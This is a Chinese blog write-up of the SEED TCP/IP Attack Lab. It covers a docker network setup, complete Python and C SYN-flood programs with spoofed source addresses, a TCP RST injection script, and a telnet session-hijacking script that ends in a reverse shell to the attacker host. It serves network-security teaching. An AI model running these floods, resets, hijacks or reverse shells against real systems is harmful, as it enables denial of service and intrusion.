SeedLab——TCP/IP Attack Lab

SeedLab——TCP/IP Attack Lab

TCP/IP协议栈

TCP/IP协议栈是用于在计算机网络中进行通信的一组协议。它是互联网的核心协议栈,由多个层级的协议构成,应用层、传输层、网络层、数据链路层。每个层级的协议负责不同的功能。

TCP(传输控制协议)是一种面向连接的可靠传输协议,属于TCP/IP协议簇的传输层协议之一。它提供了一种可靠的端到端数据传输机制,确保数据的完整性、顺序性和可靠性。TCP的特性和工作原理如下:

  1. 三次握手:在进行数据传输之前,发送方和接收方需要建立一个TCP连接。连接建立过程中,双方会进行三次握手(Three-Way Handshake),以确认双方的通信能力和参数设置。
  2. 可靠性:TCP使用序号和确认机制来保证数据的可靠传输。发送方将数据划分为称为TCP段的小块,并为每个段分配一个序列号。接收方在接收到数据段后,发送确认消息来确认已接收到的数据段,并请求重传未收到的数据段。
  3. 有序性:TCP保证数据的有序性,即按照发送的顺序进行传输和接收。每个TCP段都带有序列号,接收方根据序列号对数据进行排序,以确保数据按照正确的顺序组装。
  4. 拥塞控制:TCP通过拥塞控制算法来避免网络拥塞的发生。它会根据网络的拥塞程度动态调整发送数据的速率,以避免网络过载和丢包。
  5. 流量控制:TCP使用流量控制机制来调节发送方的发送速率,以适应接收方的处理能力。接收方可以通过发送窗口大小来告知发送方自己的可接收数据量,从而控制数据的流动。

实验环境准备

docker-compose.yml文件如下

version: "3"

services:
    attacker:
        image: handsonsecurity/seed-ubuntu:large
        container_name: seed-attacker
        tty: true
        cap_add:
                - ALL
        privileged: true
        volumes:
                - ./volumes:/volumes
        network_mode: host

    Victim:
        image: handsonsecurity/seed-ubuntu:large
        container_name: victim-10.9.0.5
        tty: true
        cap_add:
                - ALL
        privileged: true
        sysctls:
                - net.ipv4.tcp_syncookies=0

        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.5

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

    User1:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user1-10.9.0.6
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.6

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

    User2:
        image: handsonsecurity/seed-ubuntu:large
        container_name: user2-10.9.0.7
        tty: true
        cap_add:
                - ALL
        networks:
            net-10.9.0.0:
                ipv4_address: 10.9.0.7

        command: bash -c "
                      /etc/init.d/openbsd-inetd start  &&
                      tail -f /dev/null
                 "

networks:
    net-10.9.0.0:
        name: net-10.9.0.0
        ipam:
            config:
                - subnet: 10.9.0.0/24

构建docker容器

docker-compose build

启动容器

docker-compose up --remove-orphans

查看创建的docker容器的IP地址

docker inspect -f '{{.Name}}-{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq)
/seed-attacker-
/user1-10.9.0.6-10.9.0.6
/user2-10.9.0.7-10.9.0.7
/victim-10.9.0.5-10.9.0.5

创建的网络拓扑结构如下所示

image-20231204152927777

TCP SYN Flood 攻击

什么是 SYN Flood

我们刚刚介绍TCP的时候,介绍了三次握手。在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。当收到客户端的确认(ACK)后,TCP连接就建立起来了,接下来就可以使用这个连接进行通信了。

image-20231204153639349

SYN泛洪攻击利用了TCP三次握手过程中的设计缺陷,在正常的TCP连接建立过程中,客户端发送一个带有SYN(同步)标志的TCP段给服务器,服务器收到后回复一个带有SYN和ACK(确认)标志的TCP段,最后客户端回复一个带有ACK标志的TCP段,完成连接建立。然而,SYN洪水攻击中,攻击者发送大量伪造的具有SYN标志的TCP段给目标服务器,但并不回复服务器的SYN-ACK段来完成三次握手,从而导致服务器上堆积大量未完成的连接请求,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,其结果就是目标服务器的连接队列被填满,无法处理新的合法连接请求。服务器资源如CPU、内存和网络带宽等也会被消耗殆尽,导致服务不可用。

image-20231204153650158

net.ipv4.tcp_max_syn_backlog 是一个Linux内核参数,用于设置TCP三次握手过程中的半连接队列的最大长度,即可以同时等待完成三次握手的连接数。半连接队列存储了服务器正在等待完成三次握手的连接请求。

查看当前的 net.ipv4.tcp_max_syn_backlog 参数值

sysctl net.ipv4.tcp_max_syn_backlog

修改 net.ipv4.tcp_max_syn_backlog 的值

sysctl -w net.ipv4.tcp_max_syn_backlog=256

Python 实现 SYN Flood

python脚本如下

#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags="S")
pkt = ip/tcp
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)

进入受害者10.9.0.5,在攻击之前重置网络连接状态然后开始监听端口23(Telnet端口)的TCP网络连接的。

docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23

在攻击机中启动攻击脚本

sudo python3 syn.py

受害者10.9.0.5收到了许多半开连接。

image-20231204164132348

等待一会儿,然后进入网络下另一台10.9.0.6主机并向受害机10.9.0.5发起telnet连接

docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5

telnet连接超时,目标主机无法处理该连接请求。

image-20231204164201184

C 实现 SYN Flood

使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。

定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
    unsigned short sport;    // 源端口
    unsigned short dport;    // 目标端口
    unsigned int seq;        // 序列号
    unsigned int ack_seq;    // 确认号
    unsigned char len;       // 首部长度
    unsigned char flag;      // 标志位
    unsigned short win;      // 窗口大小
    unsigned short checksum; // 校验和
    unsigned short urg;      // 紧急指针
};

/**
 * TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
 * 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
 */
struct pseudohdr
{
    unsigned int saddr;
    unsigned int daddr;
    char zeros;
    char protocol;
    unsigned short length;
};

校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。最后,将checksum取反并返回。

// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
    unsigned long checksum = 0;
    // 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
    while (size > 1)
    {
        checksum += *buffer++;
        size -= sizeof(unsigned short);
    }
    // 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
    if (size)
    {
        checksum += *(unsigned char *)buffer;
    }
    // 如果有溢出
    while (checksum >> 16)
    {
        // 则将高16位与低16位相加
        checksum = (checksum >> 16) + (checksum & 0xffff);
        // 如果高16位非零,再加高16位
        checksum += (checksum >> 16);
    }

    // 取反
    return (unsigned short)(~checksum);
}

初始化IP报头,设置IP报头的字段值。

// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                    unsigned int dstaddr)
{
    // 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
    int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    // 设置 IP 版本和头部长度字段
    ip->version = 4;
    ip->ihl = 5;
    // 设置服务类型字段 tos,此处设为 0。
    ip->tos = 0;
    // 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
    ip->tot_len = htons(len);
    // 设置标识字段
    ip->id = 1;
    // 设置标志字段 flags,这里设为 0x40,表示不分片
    ip->frag_off = htons(0x4000);
    // 设置生存时间字段 ttl
    ip->ttl = 255;
    // 设置协议字段 protocol,这里设为 IPPROTO_TCP
    ip->protocol = IPPROTO_TCP;
    // 初始化校验和
    ip->check = 0;
    ip->saddr = srcaddr; // 源IP地址
    ip->daddr = dstaddr; // 目标IP地址
}

初始化TCP报头以及伪报头的函数。使用rand生成两个随机数,并将其转换成网络字节序作为源端口和序号,用于隐匿本机。TCP的flag字段设为0x02表示设置SYN。

// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
    // 生成随机端口
    tcp->sport = htons(rand() % 16383 + 49152);
    // 目的端口
    tcp->dport = htons(dport);
    // 随机生成一个序号,转化为网络字节顺序
    tcp->seq = htonl(rand() % 90000000 + 2345);
    // 将 ack_seq 字段初始化为 0,表示没有确认序列号
    tcp->ack_seq = 0;
    /**
     * 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
     * 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
     */
    tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
    // 将 flag 设置 SYN 控制标志位
    tcp->flag = 0x02;
    // 设置窗口大小
    tcp->win = htons(1024);
    // 初始化校验和
    tcp->checksum = 0;
    // 将紧急指针 urg 初始化为 0,表示没有紧急数据
    tcp->urg = 0;
}

// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                        unsigned int dstaddr)
{
    pseudo->zeros = 0;
    pseudo->protocol = IPPROTO_TCP;
    pseudo->length = htons(sizeof(struct tcphdr));
    pseudo->saddr = srcaddr;
    pseudo->daddr = dstaddr;
}

构造了一个SYN数据包,生成一个随机数,作为数据包的源IP用于隐匿本机IP,调用上面的函数来计算IP校验和已经利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。

// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                    unsigned short dport)
{
    char buf[100];
    int len;
    struct iphdr ip;         // IP 头部
    struct tcphdr tcp;       // TCP 头部
    struct pseudohdr pseudo; // TCP 伪头部
    // 随机生成源地址
    unsigned int saddr = rand();
    // 长度设置为一个ip报头+tcp报头的长度
    len = sizeof(ip) + sizeof(tcp);

    // 初始化头部信息
    init_ip_header(&ip, saddr, daddr);
    init_tcp_header(&tcp, dport);
    init_pseudo_header(&pseudo, saddr, daddr);

    // 计算IP校验和
    ip.check = checksum((u_short *)&ip, sizeof(ip));

    bzero(buf, sizeof(buf));
    // 复制TCP伪头部
    memcpy(buf, &pseudo, sizeof(pseudo));
    // 复制TCP头部
    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
    // 计算TCP校验和
    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));

    bzero(packet, pkt_len);
    // 填充ip报头
    memcpy(packet, &ip, sizeof(ip));
    // 填充tcp报头
    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
    // 格式化输出消息
    unsigned char *dbytes = (unsigned char *)&daddr;
    unsigned char *sbytes = (unsigned char *)&saddr;
    printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%u\n", 
           sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);
    return len;
}

通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。

通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。

// 创建原始套接字
int make_raw_socket()
{
    int fd;
    int on = 1;

    // 创建一个原始套接字
    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if (fd == -1)
    {
        return -1;
    }

    // 设置需要手动构建IP头部
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
    {
        close(fd);
        return -1;
    }

    return fd;
}

设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。

// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
    struct sockaddr_in skaddr;
    // 数据包
    char packet[256];
    // 数据包长度
    int pkt_len;
    // 初始化
    bzero(&skaddr, sizeof(skaddr));
    // 设置目标地址
    skaddr.sin_family = AF_INET;
    skaddr.sin_port = htons(port);
    skaddr.sin_addr.s_addr = addr;

    // 创建一个syn数据包
    pkt_len = make_syn_packet(packet, 256, addr, port);
    // 发送syn数据包
    return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                  sizeof(struct sockaddr));
}

在主函数中调用上面的函数,usleep(1000*1000);用于控制数据包的发送速率。

int main(int argc, char *argv[])
{
    unsigned int addr;
    unsigned short port;
    int sockfd;

    if (argc < 3)
    {
        fprintf(stderr, "Usage: synflood <address> <port>\n");
        exit(1);
    }
    // 获取地址和端口
    addr = inet_addr(argv[1]);
    port = atoi(argv[2]);

    if (port < 0 || port > 65535)
    {
        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
        exit(1);
    }
    // 创建原始套接字
    sockfd = make_raw_socket();
    if (sockfd == -1)
    {
        fprintf(stderr, "Failed to make raw socket\n");
        exit(1);
    }
    // 一直发送syn数据包
    for (int i = 0; i > -1; i++)
    {
        usleep(1000*1000);
        if (send_syn_packet(sockfd, addr, port) < 0)
        {
            fprintf(stderr, "Failed to send syn packet\n");
        }
    }

    close(sockfd);

    return 0;
}

在主机10.9.0.5上,先重置网络连接状态,再查找正在监听端口23(Telnet端口)的TCP网络连接。

docker exec -it f94ca6700e7b /bin/sh
ip tcp_metrics flush
netstat -ntc | grep :23

编译源代码并运行

gcc -o syn syn.c
sudo ./syn 10.9.0.5 23

运行效果如下

image-20231204160051967

可以发现主机10.9.0.5上收到了许多半开连接

image-20231204164428969

等待一会儿,然后进入网络下另一台10.9.0.6主机并向受害机10.9.0.5发起telnet连接

docker exec -it 18c87ea4bd77 /bin/sh
telnet 10.9.0.5

telnet连接超时,目标主机无法处理该连接请求。

image-20231204164201184

防御 SYN Flood

当服务器收到大量伪造的SYN请求时,它们会在无法处理这些请求之前消耗服务器的资源,导致服务不可用。为了解决这个问题,引入了SYN Cookie机制。

SYN Cookie通过在服务器端动态生成伪随机的序列号来替代实际的半连接队列,从而减轻服务器的负载。服务器将伪随机序列号编码到SYN-ACK响应中,并将其发送给客户端。客户端在收到SYN-ACK响应时,会解码其中的伪随机序列号并发送ACK以完成连接的建立。这样,服务器不再需要维护实际的半连接队列,而是根据客户端发送的ACK来重构连接状态。

要系统查看是否开启了SYN Cookie机制

sysctl net.ipv4.tcp_syncookies

设置SYN Cookie是否开启

sysctl -w net.ipv4.tcp_syncookies=1

TCP Reset 攻击

TCP Reset(RST)攻击通过发送伪造的TCP RST数据包来终止或中断现有的TCP连接。这种攻击利用了TCP协议中的一个特性,即TCP RST数据包可以用于终止连接。攻击者发送一个带有伪造源IP地址和目标IP地址的RST数据包,该RST数据包伪装成来自通信双方之一的主机。当目标主机收到这个伪造的RST数据包时,它会认为连接被对方终止,并关闭连接。这将导致连接中断,受影响的用户可能需要重新建立连接。

TCP Reset攻击可以用于中断对特定服务的访问,例如通过终止现有的TCP连接来阻止用户访问某个网站或服务。攻击者可以利用已经存在的连接状态来发送伪造的RST数据包,从而迫使目标主机关闭连接。

在攻击机网络接口设为混杂模式,然后使用tcpdump监听数据包

sudo tcpdump -i br-0d32c54e0d4e -nn -vvv -XX 'port 23 and tcp[12:4] != 0'

或者使用下面的脚本进行嗅探

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
    pkt.show()

sniff(iface='br-0d32c54e0d4e', filter="tcp port 23", prn=print_pkt)

然后在10.9.0.610.9.0.5发起telnet连接。

telnet 10.9.0.5

在攻击机嗅探到数据包如下。可知双方通信10.9.0.6 :52732<->10.9.0.5:23

image-20231204182647678

攻击脚本如下,设置源和目的IP和端口,然后设置seq为上一个数据包也就是10.9.0.610.9.0.5发送的数据包的ack字段,表示10.9.0.6期望收到的下一个数据包的seq。

#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=23, dport=52732, flags="R", seq=3611048787)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

运行该脚本

sudo python3 rst.py

成功重置了10.9.0.610.9.0.5之间的连接。

image-20231204182843556

TCP Session Hijacking 攻击

在TCP连接中,会话是通过序列号seq和确认号ack进行跟踪和管理的。攻击者利用漏洞或技术手段,获得对TCP连接的控制权,使其能够窃取、修改或劫持连接中的数据。

image-20231204183235741

然后使用10.9.0.6telnet连接到10.9.0.5服务器。服务器创建一个文件auth。

在攻击机上运行下面的脚本

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
    srcip = pkt[IP].src
    dstip = pkt[IP].dst
    srcport = pkt[TCP].sport
    dstport = pkt[TCP].dport
    seqnum = pkt[TCP].seq
    acknum = pkt[TCP].ack
    length = len(pkt[TCP].payload)
    print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: " 
    + str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) + 
    " Acknowledgement Number: " + str(acknum))
    if(srcport == 23):
        ip = IP(src=dstip, dst=srcip)
        tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length)
        data = "echo caixing >> auth\n\0"
        packet = ip/tcp/data
        send(packet, verbose=0)

sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt)

查看服务器的目录下的auth文件,发现成功运行了我们输入的命令,会话劫持成功

image-20231204202706648

进入客户端的终端。发现客户端的光标被锁死,无法输入命令,因为客户端的失去了正确的ack与seq,无法通过telnet发出信息,也无法接收信息。

反弹shell

在攻击机监听8888端口

nc -lvnp 8888

修改刚刚会话劫持的脚本,在服务端执行bash -i >& /dev/tcp/10.9.0.1/8888 0>&1命令,与IP地址为10.9.0.1,端口号为8888的主机建立反向Shell连接。count设置为1表示只捕获一次,即只执行一次反弹shell命令。

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
    srcip = pkt[IP].src
    dstip = pkt[IP].dst
    srcport = pkt[TCP].sport
    dstport = pkt[TCP].dport
    seqnum = pkt[TCP].seq
    acknum = pkt[TCP].ack
    length = len(pkt[TCP].payload)
    print("Source IP: " + srcip + " Destination IP: " + dstip + " Source Port: " 
    + str(srcport) + " Destination Port: " + str(dstport) + " Sequence Number: " + str(seqnum) + 
    " Acknowledgement Number: " + str(acknum))
    if(srcport == 23):
        ip = IP(src=dstip, dst=srcip)
        tcp = TCP(sport=dstport, dport=srcport, flags='A', seq=acknum, ack=seqnum+length)
        data = "bash -i >& /dev/tcp/10.9.0.1/8888 0>&1\n\0"
        packet = ip/tcp/data
        send(packet, verbose=0)

sniff(iface='br-0d32c54e0d4e', filter="tcp and dst host 10.9.0.6 and src port 23", prn=print_pkt, count=1)

反弹shell成功

image-20231204203509357

------本页内容已结束,喜欢请分享------

文章作者
能不能吃完饭再说
隐私政策
PrivacyPolicy
用户协议
UseGenerator
许可协议
NC-SA 4.0


© 版权声明
THE END
喜欢就支持一下吧
点赞25赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像流量卡知识网0